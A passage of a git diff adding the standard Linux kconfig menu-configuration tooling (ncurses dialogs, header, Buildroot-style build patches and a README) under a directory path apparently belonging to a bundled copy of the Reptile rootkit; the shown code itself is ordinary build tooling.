prompt_width, prompt_lines+3, 2); + keypad(form_win, TRUE); + + (void) wattrset(form_win, attributes[INPUT_FIELD]); + + (void) wattrset(win, attributes[INPUT_BOX]); + box(win, 0, 0); + (void) wattrset(win, attributes[INPUT_HEADING]); + if (title) + mvwprintw(win, 0, 3, "%s", title); + + /* print message */ + (void) wattrset(prompt_win, attributes[INPUT_TEXT]); + fill_window(prompt_win, prompt); + + mvwprintw(form_win, 0, 0, "%*s", prompt_width, " "); + cursor_form_win = min(cursor_position, prompt_width-1); + mvwprintw(form_win, 0, 0, "%s", + result + cursor_position-cursor_form_win); + + /* create panels */ + panel = new_panel(win); + + /* show the cursor */ + curs_set(1); + + touchwin(win); + refresh_all_windows(main_window); + while ((res = wgetch(form_win))) { + int len = strlen(result); + switch (res) { + case 10: /* ENTER */ + case 27: /* ESCAPE */ + case KEY_F(F_HELP): + case KEY_F(F_EXIT): + case KEY_F(F_BACK): + break; + case 127: + case KEY_BACKSPACE: + if (cursor_position > 0) { + memmove(&result[cursor_position-1], + &result[cursor_position], + len-cursor_position+1); + cursor_position--; + cursor_form_win--; + len--; + } + break; + case KEY_DC: + if (cursor_position >= 0 && cursor_position < len) { + memmove(&result[cursor_position], + &result[cursor_position+1], + len-cursor_position+1); + len--; + } + break; + case KEY_UP: + case KEY_RIGHT: + if (cursor_position < len) { + cursor_position++; + cursor_form_win++; + } + break; + case KEY_DOWN: + case KEY_LEFT: + if (cursor_position > 0) { + cursor_position--; + cursor_form_win--; + } + break; + case KEY_HOME: + cursor_position = 0; + cursor_form_win = 0; + break; + case KEY_END: + cursor_position = len; + cursor_form_win = min(cursor_position, prompt_width-1); + break; + default: + if ((isgraph(res) || isspace(res))) { + /* one for new char, one for '\0' */ + if (len+2 > *result_len) { + *result_len = len+2; + *resultp = result = realloc(result, + *result_len); + } + /* insert the char at the proper position */ + memmove(&result[cursor_position+1], + &result[cursor_position], + len-cursor_position+1); + result[cursor_position] = res; + cursor_position++; + cursor_form_win++; + len++; + } else { + mvprintw(0, 0, "unknown key: %d\n", res); + } + break; + } + if (cursor_form_win < 0) + cursor_form_win = 0; + else if (cursor_form_win > prompt_width-1) + cursor_form_win = prompt_width-1; + + wmove(form_win, 0, 0); + wclrtoeol(form_win); + mvwprintw(form_win, 0, 0, "%*s", prompt_width, " "); + mvwprintw(form_win, 0, 0, "%s", + result + cursor_position-cursor_form_win); + wmove(form_win, 0, cursor_form_win); + touchwin(win); + refresh_all_windows(main_window); + + if (res == 10) { + res = 0; + break; + } else if (res == 27 || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) { + res = KEY_EXIT; + break; + } else if (res == KEY_F(F_HELP)) { + res = 1; + break; + } + } + + /* hide the cursor */ + curs_set(0); + del_panel(panel); + delwin(prompt_win); + delwin(form_win); + delwin(win); + return res; +} + +/* refresh all windows in the correct order */ +void refresh_all_windows(WINDOW *main_window) +{ + update_panels(); + touchwin(main_window); + refresh(); +} + +/* layman's scrollable window... */ +void show_scroll_win(WINDOW *main_window, + const char *title, + const char *text) +{ + int res; + int total_lines = get_line_no(text); + int x, y, lines, columns; + int start_x = 0, start_y = 0; + int text_lines = 0, text_cols = 0; + int total_cols = 0; + int win_cols = 0; + int win_lines = 0; + int i = 0; + WINDOW *win; + WINDOW *pad; + PANEL *panel; + + getmaxyx(stdscr, lines, columns); + + /* find the widest line of msg: */ + total_lines = get_line_no(text); + for (i = 0; i < total_lines; i++) { + const char *line = get_line(text, i); + int len = get_line_length(line); + total_cols = max(total_cols, len+2); + } + + /* create the pad */ + pad = newpad(total_lines+10, total_cols+10); + (void) wattrset(pad, attributes[SCROLLWIN_TEXT]); + fill_window(pad, text); + + win_lines = min(total_lines+4, lines-2); + win_cols = min(total_cols+2, columns-2); + text_lines = max(win_lines-4, 0); + text_cols = max(win_cols-2, 0); + + /* place window in middle of screen */ + y = (lines-win_lines)/2; + x = (columns-win_cols)/2; + + win = newwin(win_lines, win_cols, y, x); + keypad(win, TRUE); + /* show the help in the help window, and show the help panel */ + (void) wattrset(win, attributes[SCROLLWIN_BOX]); + box(win, 0, 0); + (void) wattrset(win, attributes[SCROLLWIN_HEADING]); + mvwprintw(win, 0, 3, " %s ", title); + panel = new_panel(win); + + /* handle scrolling */ + do { + + copywin(pad, win, start_y, start_x, 2, 2, text_lines, + text_cols, 0); + print_in_middle(win, + text_lines+2, + 0, + text_cols, + "", + attributes[DIALOG_MENU_FORE]); + wrefresh(win); + + res = wgetch(win); + switch (res) { + case KEY_NPAGE: + case ' ': + case 'd': + start_y += text_lines-2; + break; + case KEY_PPAGE: + case 'u': + start_y -= text_lines+2; + break; + case KEY_HOME: + start_y = 0; + break; + case KEY_END: + start_y = total_lines-text_lines; + break; + case KEY_DOWN: + case 'j': + start_y++; + break; + case KEY_UP: + case 'k': + start_y--; + break; + case KEY_LEFT: + case 'h': + start_x--; + break; + case KEY_RIGHT: + case 'l': + start_x++; + break; + } + if (res == 10 || res == 27 || res == 'q' || + res == KEY_F(F_HELP) || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) + break; + if (start_y < 0) + start_y = 0; + if (start_y >= total_lines-text_lines) + start_y = total_lines-text_lines; + if (start_x < 0) + start_x = 0; + if (start_x >= total_cols-text_cols) + start_x = total_cols-text_cols; + } while (res); + + del_panel(panel); + delwin(win); + refresh_all_windows(main_window); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h new file mode 100644 index 0000000..0d52617 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h @@ -0,0 +1,96 @@ +/* + * Copyright (C) 2008 Nir Tzachar +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "ncurses.h" + +#define max(a, b) ({\ + typeof(a) _a = a;\ + typeof(b) _b = b;\ + _a > _b ? _a : _b; }) + +#define min(a, b) ({\ + typeof(a) _a = a;\ + typeof(b) _b = b;\ + _a < _b ? _a : _b; }) + +typedef enum { + NORMAL = 1, + MAIN_HEADING, + MAIN_MENU_BOX, + MAIN_MENU_FORE, + MAIN_MENU_BACK, + MAIN_MENU_GREY, + MAIN_MENU_HEADING, + SCROLLWIN_TEXT, + SCROLLWIN_HEADING, + SCROLLWIN_BOX, + DIALOG_TEXT, + DIALOG_MENU_FORE, + DIALOG_MENU_BACK, + DIALOG_BOX, + INPUT_BOX, + INPUT_HEADING, + INPUT_TEXT, + INPUT_FIELD, + FUNCTION_TEXT, + FUNCTION_HIGHLIGHT, + ATTR_MAX +} attributes_t; +extern attributes_t attributes[]; + +typedef enum { + F_HELP = 1, + F_SYMBOL = 2, + F_INSTS = 3, + F_CONF = 4, + F_BACK = 5, + F_SAVE = 6, + F_LOAD = 7, + F_SEARCH = 8, + F_EXIT = 9, +} function_key; + +void set_colors(void); + +/* this changes the windows attributes !!! */ +void print_in_middle(WINDOW *win, + int starty, + int startx, + int width, + const char *string, + chtype color); +int get_line_length(const char *line); +int get_line_no(const char *text); +const char *get_line(const char *text, int line_no); +void fill_window(WINDOW *win, const char *text); +int btn_dialog(WINDOW *main_window, const char *msg, int btn_num, ...); +int dialog_inputbox(WINDOW *main_window, + const char *title, const char *prompt, + const char *init, char **resultp, int *result_len); +void refresh_all_windows(WINDOW *main_window); +void show_scroll_win(WINDOW *main_window, + const char *title, + const char *text); diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch new file mode 100644 index 0000000..ecfe76b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch @@ -0,0 +1,107 @@ +--- + confdata.c | 4 ++-- + gconf.glade | 2 +- + mconf.c | 4 ++-- + zconf.tab.c_shipped | 2 +- + zconf.y | 2 +- + 5 files changed, 7 insertions(+), 7 deletions(-) + +Index: kconfig/gconf.glade +=================================================================== +--- kconfig.orig/gconf.glade 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/gconf.glade 2013-12-27 22:14:32.387630158 +0100 +@@ -4,7 +4,7 @@ + + + True +- Gtk Kernel Configurator ++ Gtk Buildroot Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False +Index: kconfig/mconf.c +=================================================================== +--- kconfig.orig/mconf.c 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/mconf.c 2013-12-27 22:14:42.179244153 +0100 +@@ -176,9 +176,9 @@ + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " +- "Pressing includes, excludes, modularizes features. " ++ "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " +- "Legend: [*] built-in [ ] excluded module < > module capable"), ++ "Legend: [*] feature is selected [ ] feature is excluded"), + radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " +@@ -959,7 +959,7 @@ + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" +- "(Press to continue kernel configuration.)"), ++ "(Press to continue Buildroot configuration.)"), + 6, 60); + else + res = -1; +Index: kconfig/zconf.tab.c_shipped +=================================================================== +--- kconfig.orig/zconf.tab.c_shipped 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/zconf.tab.c_shipped 2013-12-27 22:14:32.391630000 +0100 +@@ -2297,7 +2297,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/zconf.y +=================================================================== +--- kconfig.orig/zconf.y 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/zconf.y 2013-12-27 22:14:32.391630000 +0100 +@@ -493,7 +493,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/confdata.c +=================================================================== +--- kconfig.orig/confdata.c 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/confdata.c 2013-12-27 22:14:32.391630000 +0100 +@@ -25,7 +25,7 @@ + static const char *conf_filename; + static int conf_lineno, conf_warnings, conf_unsaved; + +-const char conf_defname[] = "arch/$ARCH/defconfig"; ++const char conf_defname[] = ".defconfig"; + + static void conf_warning(const char *fmt, ...) + { +@@ -63,7 +63,7 @@ + + const char *conf_get_configname(void) + { +- char *name = getenv("KCONFIG_CONFIG"); ++ char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; + } +Index: kconfig/qconf.cc +=================================================================== +--- kconfig.orig/qconf.cc 2013-12-27 22:12:15.825013567 +0100 ++++ kconfig/qconf.cc 2013-12-27 22:14:57.826627300 +0100 +@@ -70,7 +70,7 @@ + } + + ConfigSettings::ConfigSettings() +- : QSettings("kernel.org", "qconf") ++ : QSettings("buildroot.org", "qconf") + { + } + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch new file mode 100644 index 0000000..3faa39e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch @@ -0,0 +1,35 @@ +--- + Makefile | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +Index: b/Makefile +=================================================================== +--- a/Makefile ++++ b/Makefile +@@ -159,11 +159,11 @@ + + hostprogs-y := conf + +-ifeq ($(MAKECMDGOALS),nconfig) ++ifeq ($(MAKECMDGOALS),nconf) + hostprogs-y += nconf + endif + +-ifeq ($(MAKECMDGOALS),menuconfig) ++ifeq ($(MAKECMDGOALS),mconf) + hostprogs-y += mconf + endif + +@@ -171,10 +171,10 @@ + hostprogs-y += kxgettext + endif + +-ifeq ($(MAKECMDGOALS),xconfig) ++ifeq ($(MAKECMDGOALS),qconf) + qconf-target := 1 + endif +-ifeq ($(MAKECMDGOALS),gconfig) ++ifeq ($(MAKECMDGOALS),gconf) + gconf-target := 1 + endif + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch new file mode 100644 index 0000000..be6fda0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch @@ -0,0 +1,80 @@ +--- + Makefile.br | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ + foo.h | 12 ++++++++++++ + 2 files changed, 65 insertions(+) + +Index: b/Makefile.br +=================================================================== +--- /dev/null ++++ b/Makefile.br +@@ -0,0 +1,53 @@ ++src := . ++top_srcdir=../../ ++top_builddir=../../ ++srctree := . ++obj ?= . ++ ++include Makefile ++#HOSTCFLAGS+=-Dinline="" -include foo.h ++-include $(obj)/.depend ++$(obj)/.depend: $(wildcard *.h *.c) ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || : ++ ++__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m)) ++host-csingle := $(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m))) ++host-cmulti := $(foreach m,$(__hostprogs),\ ++ $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m)))) ++host-cxxmulti := $(foreach m,$(__hostprogs),\ ++ $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),))) ++host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs)))) ++host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs)))) ++ ++HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\" ++ ++$(host-csingle): %: %.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $< -o $(obj)/$@ ++ ++$(host-cmulti): %: $(host-cobjs) $(host-cshlib) ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@ ++ ++$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib) ++ $(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@ ++ ++$(obj)/%.o: %.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%.o: $(obj)/%.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%.o: %.cc ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%:: $(src)/%_shipped ++ $(Q)cat $< > $@ ++ ++clean: ++ $(Q)rm -f $(addprefix $(obj)/,$(clean-files)) ++distclean: clean ++ $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \ ++ $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \ ++ mconf .depend) ++ ++FORCE: ++.PHONY: FORCE clean distclean +Index: b/foo.h +=================================================================== +--- /dev/null ++++ b/foo.h +@@ -0,0 +1,12 @@ ++#ifndef __KCONFIG_FOO_H ++#define __KCONFIG_FOO_H ++ ++#ifndef __APPLE__ ++#include ++#endif ++#include ++ ++#ifndef PATH_MAX ++#define PATH_MAX 1024 ++#endif ++#endif /* __KCONFIG_FOO_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch new file mode 100644 index 0000000..ea1386b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch @@ -0,0 +1,282 @@ + Makefile | 8 ++++++-- + conf.c | 10 +++++----- + confdata.c | 16 ++++++++-------- + expr.h | 2 +- + gconf.glade | 2 +- + lkc.h | 15 +++++++++++++++ + mconf.c | 2 +- + merge_config.sh | 3 ++- + qconf.cc | 2 +- + zconf.tab.c_shipped | 2 +- + zconf.y | 2 +- + 11 files changed, 42 insertions(+), 22 deletions(-) + +Index: kconfig/Makefile +=================================================================== +--- kconfig.orig/Makefile 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/Makefile 2014-05-20 13:13:21.000000000 +0200 +@@ -11,6 +11,10 @@ + Kconfig := Kconfig + endif + ++ifndef KBUILD_CONFIG_DIR ++KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs ++endif ++ + # We need this, in case the user has it in its environment + unexport CONFIG_ + +@@ -98,11 +102,11 @@ + $< --defconfig $(Kconfig) + else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" +- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) ++ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig) + endif + + %_defconfig: $(obj)/conf +- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) ++ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig) + + # Help text used by make help + help: +Index: kconfig/conf.c +=================================================================== +--- kconfig.orig/conf.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/conf.c 2014-05-20 13:13:21.000000000 +0200 +@@ -524,7 +524,7 @@ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + +- seed_env = getenv("KCONFIG_SEED"); ++ seed_env = getenv(PRODUCT_ENV"_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); +@@ -532,7 +532,7 @@ + seed = tmp; + } + } +- fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); ++ fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed ); + srand(seed); + break; + } +@@ -595,7 +595,7 @@ + case allmodconfig: + case alldefconfig: + case randconfig: +- name = getenv("KCONFIG_ALLCONFIG"); ++ name = getenv(PRODUCT_ENV"_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { +@@ -618,7 +618,7 @@ + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, +- _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), ++ _("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } +@@ -629,7 +629,7 @@ + + if (sync_kconfig) { + if (conf_get_changed()) { +- name = getenv("KCONFIG_NOSILENTUPDATE"); ++ name = getenv(PRODUCT_ENV"_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); +Index: kconfig/confdata.c +=================================================================== +--- kconfig.orig/confdata.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/confdata.c 2014-05-20 13:13:21.000000000 +0200 +@@ -64,14 +64,14 @@ + + const char *conf_get_configname(void) + { +- char *name = getenv("BR2_CONFIG"); ++ char *name = getenv(PRODUCT_ENV"_CONFIG"); + + return name ? name : ".config"; + } + + const char *conf_get_autoconfig_name(void) + { +- return getenv("KCONFIG_AUTOCONFIG"); ++ return getenv(PRODUCT_ENV"_AUTOCONFIG"); + } + + static char *conf_expand_value(const char *in) +@@ -767,7 +767,7 @@ + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); +- env = getenv("KCONFIG_OVERWRITECONFIG"); ++ env = getenv(PRODUCT_ENV"_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); +@@ -1027,13 +1027,13 @@ + fclose(tristate); + fclose(out_h); + +- name = getenv("KCONFIG_AUTOHEADER"); ++ name = getenv(PRODUCT_ENV"_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; +- name = getenv("KCONFIG_TRISTATE"); ++ name = getenv(PRODUCT_ENV"_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); +@@ -1159,7 +1159,7 @@ + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; +- char *env = getenv("KCONFIG_PROBABILITY"); ++ char *env = getenv(PRODUCT_ENV"_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; +@@ -1168,7 +1168,7 @@ + p[n++] = tmp; + } else { + errno = ERANGE; +- perror( "KCONFIG_PROBABILITY" ); ++ perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; +@@ -1190,7 +1190,7 @@ + + if( pty+ptm > 100 ) { + errno = ERANGE; +- perror( "KCONFIG_PROBABILITY" ); ++ perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + } +Index: kconfig/expr.h +=================================================================== +--- kconfig.orig/expr.h 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/expr.h 2014-05-20 13:13:21.000000000 +0200 +@@ -93,7 +93,7 @@ + #define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ + #define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ + #define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +-#define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */ ++#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */ + #define SYMBOL_CHANGED 0x0400 /* ? */ + #define SYMBOL_AUTO 0x1000 /* value from environment variable */ + #define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +Index: kconfig/gconf.glade +=================================================================== +--- kconfig.orig/gconf.glade 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/gconf.glade 2014-05-20 13:13:21.000000000 +0200 +@@ -4,7 +4,7 @@ + + + True +- Gtk Buildroot Configurator ++ Gtk PRODUCT Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False +Index: kconfig/lkc.h +=================================================================== +--- kconfig.orig/lkc.h 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/lkc.h 2014-05-20 13:13:21.000000000 +0200 +@@ -21,6 +21,21 @@ + extern "C" { + #endif + ++#ifndef PRODUCT_ENV ++/* BR2 for buildroot, KCONFIG for kernel. */ ++#define PRODUCT_ENV "KCONFIG" ++#endif ++ ++#ifndef PRODUCT ++/* Buildroot buildroot, Kernel for kernel. */ ++#define PRODUCT "Kernel" ++#endif ++ ++#ifndef PRODUCT_DOMAIN ++/* buildroot.org for buildroot, kernel.org for kernel. */ ++#define PRODUCT_DOMAIN "kernel.org" ++#endif ++ + #define P(name,type,arg) extern type name arg + #include "lkc_proto.h" + #undef P +Index: kconfig/mconf.c +=================================================================== +--- kconfig.orig/mconf.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/mconf.c 2014-05-20 13:13:21.000000000 +0200 +@@ -959,7 +959,7 @@ + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" +- "(Press to continue Buildroot configuration.)"), ++ "(Press to continue "PRODUCT" configuration.)"), + 6, 60); + else + res = -1; +Index: kconfig/merge_config.sh +=================================================================== +--- kconfig.orig/merge_config.sh 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/merge_config.sh 2014-05-20 13:13:21.000000000 +0200 +@@ -131,7 +131,8 @@ + # Use the merged file as the starting point for: + # alldefconfig: Fills in any missing symbols with Kconfig default + # allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +-make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET ++PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG} ++make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + + # Check all specified config values took (might have missed-dependency issues) +Index: kconfig/qconf.cc +=================================================================== +--- kconfig.orig/qconf.cc 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/qconf.cc 2014-05-20 13:13:21.000000000 +0200 +@@ -70,7 +70,7 @@ + } + + ConfigSettings::ConfigSettings() +- : QSettings("buildroot.org", "qconf") ++ : QSettings(PRODUCT_DOMAIN, "qconf") + { + } + +Index: kconfig/zconf.tab.c_shipped +=================================================================== +--- kconfig.orig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200 +@@ -2297,7 +2297,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/zconf.y +=================================================================== +--- kconfig.orig/zconf.y 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/zconf.y 2014-05-20 13:13:21.000000000 +0200 +@@ -493,7 +493,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch new file mode 100644 index 0000000..dc8c86a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/101-kconfig-build.patch @@ -0,0 +1,157 @@ + GNUmakefile | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Makefile.br | 26 ++++++++++++------------ + README | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ + config.sh | 26 +++++++++++++++++++++++++ + 4 files changed, 149 insertions(+), 13 deletions(-) + +Index: kconfig/GNUmakefile +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/GNUmakefile 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,60 @@ ++# ++# Default stand alone makefile for kconfig. ++# ++# The Makefile and Makefile.br in this directory should ++# not be called directly for standalone build. ++# Actually they are included by this makefile. ++# ++ ++## ++# Makefile parameters. ++# ++# The parameters are configured as for kernel build ++# by default. Override them for your application ++# setting. ++# ++ ++# TOP srcdir and this srcdir (relative to TOPDIR) ++TOPDIR=. ++SRCDIR=. ++ ++# O: output directory (objs/exes), default to src dir ++O=$(TOPDIR)/$(SRCDIR) ++ ++# Build configuration ++KBUILD_KCONFIG=Kconfig ++KBUILD_CONFIG_DIR=configs ++KBUILD_DEFCONFIG=defconfig ++ ++# Product information (exported) ++export PRODUCT_ENV=KCONFIG ++export PRODUCT=Kernel ++export PRODUCT_VERSION= ++export PRODUCT_DOMAIN=kernel.org ++ ++# Kconfig configuration (exported) ++export $(PRODUCT_ENV)_CONFIG=config ++ ++ ++# End of Makefile parameters. ++## ++ ++## ++# Makefile adaptation/inclusion. ++ ++# Buid vars ++HOSTCC=$(CC) ++HOSTCXX=$(CXX) ++HOSTCFLAGS=-O2 -g ++HOSTCXXFLAGS=-O2 -g ++srctree=$(TOPDIR) ++src=$(TOPDIR)/$(SRCDIR) ++obj=$(O) ++ ++# Enable execution from Makefile *conf programs ++export PATH:=$(PATH):$(obj) ++ ++include $(TOPDIR)/$(SRCDIR)/Makefile.br ++ ++# End of Makefile adaptation/inclusion. ++## +Index: kconfig/README +=================================================================== +--- /dev/null 1970-01-01 00:00:00.000000000 +0000 ++++ kconfig/README 2014-05-20 14:12:37.000000000 +0200 +@@ -0,0 +1,50 @@ ++ ++# Synopsys ++ ++kconfig is an isolated packaging of the kernel configuration tools ++as found in the scripts/kconfig/ directory of the kernel sources. ++ ++The purpose is to provide the great functionalities of the kernel ++configuration mechanism to any project that need application ++level configuration. ++ ++# Usage ++ ++On can extract kconfig sources and run without installation ++from his own project directory: ++ ++$ cd myproject/ ++$ kconfig/config.sh manuconfig ++ ++As a default the mypoject/Kconfig file must be present for ++declaring the project configuration. ++The result is a myproject/config file which can be sources in ++a shell of makefile script. ++ ++Alternatively the call to: ++ ++$ kconfig/config.sh menuconfig ++ ++can be replaced by a direct call to the kconfig/GNUmakefile: ++ ++$ make -f kconfig/GNUmakefile TOPDIR=. SRCDIR=kconfig ++ ++Note that all common kernel configuration targets are available, ++in particular config, menuconfig, nconfig, gconfig, xconfig, ++defconfig, oldconfig, etc... ++ ++Get the list of targets with: ++ ++$ kconfig/config.sh help ++ ++or ++ ++$ make -f kconfig/GNUmakefile help TOPDIR=. SRCDIR=kconfig ++ ++ ++# 